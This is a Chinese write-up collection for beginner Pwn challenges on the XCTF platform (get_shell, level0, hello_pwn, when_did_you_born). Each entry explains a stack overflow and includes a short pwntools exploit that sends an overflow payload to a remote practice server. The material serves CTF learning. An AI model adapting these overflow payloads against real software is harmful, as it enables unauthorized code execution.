攻防世界-Pwn WP合集
注意事项:
拿到题目首先用checksec工具查看程序受保护情况,并观察程序是32位还是64位的,再决定使用IDA32位还是IDA64位反编译。
新手区-get_shell
题目类型:无
首先使用IDA反编译源程序,发现程序直接开了个shell,用nc连接直接cat flag即可。
新手区-level0
题目类型:栈溢出,ret2text
首先使用IDA反编译源程序,发现程序的作用是输入一段字符串,程序分配栈空间大小为0x80字节,使用read函数读取输入内容长度却为0x200字节,存在栈溢出,此时输入0x80字节的内容后,再输入8字节内容覆盖ebp后,再输入的内容将覆盖函数返回地址,由于callsystem函数的作用是打开shell,所以此处输入callsystem函数的地址即可,完整exp如下:
from pwn import * #f = process('./pwn') f = remote('220.249.52.133',41662) p = 'a' * 0x80 + 'a' * 8 + p64(0x400596) f.send(p) f.interactive()
新手区-hello_pwn
题目类型:栈溢出,ret2text
首先使用IDA反编译源程序,发现程序的作用是输入一段字符串,通过观察程序地址可以看出,0x601068地址和0x60106c地址之间相差4字节地址,首先输入4字节内容后,再次输入的内容将保存到0x60106c,此时若其中的内容为1853186401则会弹出flag,完整exp如下:
from pwn import * #f = process('./pwn') f = remote('220.249.52.133',40241) p = 'a' * 4 + p64(1853186401) f.send(p) f.interactive()
新手区-when_did_you_born
题目类型:栈溢出,ret2text
首先使用IDA反编译源程序,发现程序首先输入一个整数存入变量v5,判断该整数是否等于1926,如果不等则进入下一步,再次输入一段字符串存入v4,然后判断v5是否等于1926,如果等于则弹出flag。由于v4和v5在栈空间中相邻,两者栈空间距离为0x8字节,所以在第一次输入整数时随意输入一个数,再次输入字符串时,输入8个字节的字符后,后面的内容会覆盖v5,可以使其变成1926,完整exp如下:
from pwn import * #f = process('./pwn') f = remote('220.249.52.133',53132) f.recvline() f.sendline('1') f.recvline() p = 'a' * 8 + p64(1926) f.send(p) f.interactive()